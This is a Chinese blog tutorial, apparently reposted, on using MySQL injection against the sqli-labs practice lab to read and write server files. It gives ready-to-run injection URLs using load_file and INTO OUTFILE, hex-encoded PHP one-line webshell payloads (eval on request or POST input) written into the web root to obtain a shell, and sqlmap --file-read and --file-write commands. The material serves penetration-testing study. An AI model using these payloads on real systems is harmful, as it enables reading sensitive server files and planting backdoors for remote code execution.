Mysql注入读写文件

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Mysql注入读写文件相关的知识,希望对你有一定的参考价值。

mysql注入读写文件

1.Mysql注入读文件

MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。
读取前提:
1.用户权限足够高,尽量具有root权限。
2.secure_file_priv不为NULL
(1)配置环境
修改mysql.ini的配置


可以看到里面secure_file_priv =的配置语句,如果没有的看到配置文件的话,需要添加上等号

当我们执行命令:

show global variables like "secure_file_priv";

返回值为空

接下来就可以读取本地文件了,我们可以在E盘下新建一个flag.txt的文件,内容任写,记得保存哦,否则你读本地文件的会为空

执行命令

select load_file("E:\\\\flag.txt");


(2)接下来漏洞利用,读取文件sql-labs1

http://172.16.14.190:84/sqli-labs-master/Less-1/?id=-1' union select 1,load_file("E:\\\\flag.txt"),3 --+

2.Mysql注入写文件

MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。

1.配置环境

set global general_log = on;


2.实战应用

http://172.16.14.190:84/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php phpinfo();?>' into outfile 'D:\\\\phpstudy_pro\\\\WWW\\\\sqli-labs-master\\\\Less-7\\\\1.php' --+


写入成功

http://172.16.14.190:84/sqli-labs-master/Less-7/123.php

3.写入Webshell

我们写入一句话木马<?php eval($_REQUEST[1]);?>,一句话建议进行十六进制转码()
转码链接:https://www.sojson.com/hexadecimal.html


编码后,要在最前面加上0x.payload如下所示

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'0x3c3f706870206576616c28245f524551554553545b315d293b3f3e' into outfile 'D:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\shell.php' --+

成功写入

连接webshell

写入进去到成功了,但是没有解析成功,难过。


后面询问了大佬一波,问题出在我的编码上,还有就是编码的位置

http://192.168.31.43/sqli-labs-master/Less-7/?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e,3 into outfile 'D:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\shell.php'--+

成功getshell

4.Sqlmap安全测试

sqlmap安全测试 利用sqlmap进行读写文件
利用sqlmap -hh查看详细的帮助信息

python2 sqlmap.py -hh

1.sql-map读文件

 python2 sqlmap.py -u "http://192.168.31.43/sqli-labs-master/Less-1/?id=1" --file-read "E:\\\\flag.txt"


读取成功之后,找到读取文件的存放路径


读取文件

2.sql-map写文件
将E盘中的flag.txt写入到D盘中

python2 sqlmap.py -u "http://192.168.31.43/sqli-labs-master/Less-1/?id=1" --file-write "E:\\\\flag.txt" --file-dest "D:\\\\flag.txt"


ps
1.读写文件的过程中,一定要注意权限和绝对路径;
2.环境配置的问题,会影响我们在渗透测试的过程中,有些时候通,有些时候不通;
3.编码的问题,我就出现此问题,总是getshell失败,避免踩雷

参考链接:https://blog.csdn.net/qq_44159028/article/details/116274542

以上是关于Mysql注入读写文件的主要内容,如果未能解决你的问题,请参考以下文章

通过sql注入漏洞读写文件获取webshell

mysql读写分离

Mysql注入中的outfiledumpfileload_file函数详解

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

mysql注入普遍思路

SQL注入文件读写总结